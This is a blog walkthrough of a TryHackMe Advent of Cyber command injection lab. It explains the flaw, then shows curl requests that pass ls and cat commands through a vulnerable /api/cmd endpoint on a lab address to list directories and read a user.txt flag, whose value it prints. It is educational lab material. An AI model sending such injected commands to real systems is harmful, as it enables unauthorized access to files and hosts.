-->

  • TryHackMe advent of cyber command injection walkthrough

     

    command injection

     

     

    Depending on the functionality of the web application, it will require some sort of interaction with the underlying host system this is usually done by passing in raw system commands or input to a command shell(either directly or through some sort of library).  TryHackMe advent of cyber command injection walkthrough

    Examples of when web applications interact with host systems involve:


    Checking monitoring statistics e.g. RAM being used, free disk space File conversion processes e.g. the web application would receive an image file that it wants to convert to a different image type Leaving debug functionality open; some frameworks have optional debug functionality that involve interaction with the underlying file system


    Any input that is controlled by a user shouldn’t be trusted by the server. User input could be manipulated. In the case of when a web application uses system commands, a user could manipulate input to execute arbitrary system commands. This type of an attack is called a command injection attack.



    Command Injection


    If a web application takes input supplied by a user and makes it part of a command that is used within a shell, it allows an adversary to inject arbitrary operating system commands.


    Instructions


    • Another day, another hack from the Christmas Monster. Can you get back control of the system?
    • Access the web server on http://[your-ip]:3000/
    • McSkidy actually found something interesting on the /api/cmd endpoint.



    In Browser ( using command injection )




     

    After trying a few injections, methods, I found that the following request was returning something interesting:


    In Terminal


    $ curl -s http://10.10.15.73:3000/api/cmd/ls 

    {"stdout":"bin\nboot\ndata\ndev\netc\nhome\nlib\nlib64\nlocal\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n","stderr":""}




    Following the logic, I was able to locate the home directory, and found the user.txt file:



    $ curl -s http://10.10.15.73:3000/api/cmd/ls%20%2Fhome
    {"stdout":"bestadmin\nec2-user\n","stderr":""}


     

    $ curl -s http://10.10.15.73:3000/api/cmd/ls%20%2Fhome%2Fbestadmin
    {"stdout":"bin\nnew-room\nrun.sh\nuser.txt\n","stderr":""}


     

    I then changed from ls to cat to show the content of the flag:

     

    $ curl -s http://10.10.15.73:3000/api/cmd/cat%20%2Fhome%2Fbestadmin%2Fuser.txt
    {"stdout":"5W7WkjxBWwhe3RNsWJ3Q\n","stderr":""}


     

     

    Answer: 5W7WkjxBWwhe3RNsWJ3Q

     

     


    Disclaimer



    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)

     

     

  • 0 comments:

    Post a Comment

    For Any Tech Updates, Hacking News, Internet, Computer, Technology and related to IT Field Articles Follow Our Blog.